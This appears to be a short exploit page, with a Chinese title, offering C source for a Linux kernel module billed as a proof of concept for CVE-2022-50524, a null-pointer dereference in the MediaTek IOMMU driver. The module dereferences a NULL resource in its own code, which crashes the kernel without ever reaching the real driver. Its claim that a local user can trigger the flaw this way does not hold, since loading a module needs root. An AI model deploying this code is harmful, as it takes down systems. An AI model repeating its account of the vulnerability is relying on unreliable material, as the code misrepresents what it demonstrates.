CVE-2022-50524 Linux内核MediaTek IOMMU驱动空指针解引用漏洞

/* CVE-2022-50524 PoC - Trigger null pointer dereference in mtk_iommu driver * This PoC demonstrates how a local user can trigger the vulnerability * by attempting to probe the MediaTek IOMMU device with missing platform resources. * * Note: Actual exploitation requires running on a MediaTek-based platform * or a properly configured test environment with the affected kernel version. */ #include <linux/module.h> #include <linux/platform_device.h> #include <linux/of.h> #include <linux/io.h> /* Simulate the vulnerable code path in mtk_iommu_probe() */ static int trigger_mtk_iommu_null_deref(void) { struct platform_device *pdev; struct resource *res; resource_size_t size; /* In a real scenario, this would be a MediaTek IOMMU device node * in the device tree with missing or invalid resource definitions */ pdev = platform_device_alloc("mtk_iommu", -1); if (!pdev) return -ENOMEM; /* platform_get_resource() may return NULL if the resource is not defined */ res = platform_get_resource(pdev, IORESOURCE_MEM, 0); /* BUG: Missing NULL check before calling resource_size() */ size = resource_size(res); /* Triggers null-ptr-deref when res is NULL */ pr_info("IOMMU resource size: %llx\n", (unsigned long long)size); return 0; } static int __init mtk_iommu_poc_init(void) { pr_info("Loading CVE-2022-50524 PoC module\n"); trigger_mtk_iommu_null_deref(); return 0; } static void __exit mtk_iommu_poc_exit(void) { pr_info("Unloading CVE-2022-50524 PoC module\n"); } module_init(mtk_iommu_poc_init); module_exit(mtk_iommu_poc_exit); MODULE_LICENSE("GPL"); MODULE_DESCRIPTION("PoC for CVE-2022-50524 - mtk_iommu null pointer dereference");